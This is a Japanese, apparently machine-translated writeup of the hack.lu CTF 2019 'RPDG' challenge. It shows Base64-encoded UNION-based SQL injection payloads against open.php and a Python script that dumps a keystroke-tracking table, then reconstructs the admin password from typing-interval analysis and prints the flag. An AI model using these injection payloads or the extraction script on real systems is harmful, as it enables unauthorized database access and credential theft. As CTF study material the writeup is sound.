Arang.dev
検索
hack.lu CTF 2019🏁 CTF🌐 翻訳済み

2019 hack.lu CTF - RPDG Writeup

SQL Injectionと頻度分析によるadmin passwordの推測

#hacklu#sql-injection#misc#frequency-analysis

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

[ Summary ]

まず、この問題はWEB+MISCだ。stage. 1はWeb、stage. 2はMISCとして解くことになるためだ。基本的にはsql injectionを通じて情報を獲得し、その後、頻度に基づいてadmin passwordを推測する問題である。

[ Vulnerability ]

image

メインページ

問題ページを見るとYouTube動画があり、その動画のサムネイル画像をクリックすると/open.php?title={Base64 encoded movie name}を介してYouTubeへ移動する。渡されるtitleパラメータをBase64デコードしてみるとリンクのアドレスではないため、内部データベースに情報がマッピングされており、そのパラメータの情報がDBに入ることが推測できる。

したがって、該当パラメータにsql injectionを試みると、以下のように実行できる。(thx to03sunf@defenitandJeonYoungSin@defenit)

/open.php?title=${base64.encode('"') union select 1,2,(select database()),4 -- ')}

image

sql injectionの脆弱性!

また、メインページにアクセスするとtracc.phpを通じてキーロガーが動作する(?)

image

キーロガーが仕込まれている?

メインページに入った後、他のページへ移動する際、/tracc.phpを通じてキーロガーのように自分が入力したキーがサーバーへ送信される。


それでは、発見されたsqli vulnを利用して、union select 1,2,group_concat(schema_name),4 from information_schema.schemataこのようにDBを一通りさらってみよう。

詳細

extracted value

#schema : rpdg#table : culture, tracking#column culture : id, link, title, year#column tracking : id, key, path, timestamp, user

これらのカラムを一通り抽出してみると、trackingカラムのkeyカラムが抽出されない。

union select 1,2,group_concat(x.key),4 from tracking as x(thx toJeonYoungSin@defenit)

一通り抽出すると、次のようなデータが得られる。

#-*-coding:utf-8-*-
import requests
import sys
import random
reload(sys)
sys.setdefaultencoding('utf-8')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from urllib import quote
 
u = 'https://rpdg.fluxfingersforfuture.fluxfingers.net/open.php?title={}'
 
 
#schema : rpdg
#table : culture, tracking
#column culture : id, link, title, year
#column tracking : id, kye, path, timestamp, user
 
s = requests.session()
num = 0
result = ''
t1 = 0
t2 = 0
 
while 1:
 query = "\") union select 1,2,concat(x.key,':',x.timestamp),4 from tracking as x limit {},1 -- x".format(num).encode('base64')
 r = s.get(u.format(query), verify=False)
 #print dir(r)
 if r.status_code==200:
 print r.content
 elif r.status_code==404:
 t = r.url.split('https://rpdg.fluxfingersforfuture.fluxfingers.net/')[1]
 t2 = int(t.split(':')[1])
 with open('result.txt','a+') as f:
 f.write('{}:{}\n'.format(t,t2-t1))
 f.close()
 t1 = t2
 result += t
 print '[{}] {}'.format(num,t)
 
 else:
 print r.content
 num += 1
 
print result

image

抽出結果

ここまでがWeb hackingの領域で、これ以降はMiscの領域だ。

途中で問題を解いていて詰まっていた時にヒントが出たのだが、そのヒントがかなり決定的だった。

詳細

HINT: People tend to type key combinations faster if they use them frequently, like in their passwords for example.

一言で言えば、人は慣れ親しんだ単語を打つ時、タイピングする単語間の間隔が短くなるということだ。私たちがキーロガー(?)を通じて抽出した時間値をt2-t1形式で出してみると、200ms以下で打っている単語がある。

例えば、"arang"という単語を打つと仮定した時、私が普段よく打つ単語の組み合わせが"arang"なので、もし私が"language"という単語を打つなら、arangのangに慣れているため、他の英文字をタイピングする時よりもangをより速く打つということだ。

では、上記の抽出結果のように表現してみると、

詳細

l : 420 a : 414 n : 153 g : 148 u : 432 a : 514 g : 394 e : 412

このようになる。

したがって、このようにずっとタイピングの癖をtrackingしてみると、

詳細

gra ple equ wo le ing om ap ms ci suc grap

このような組み合わせが出る。

これをしりとりのように繋げてみるとwomsucingraplequが出てくる。

これがpasswordであると予測してログインすればflag獲得。

flag{GDPR_is_here_to_save_y'all}

コメント

コメントを読み込み中...
2019 hack.lu CTF - RPDG Writeup | hack.lu CTF 2019 | Arang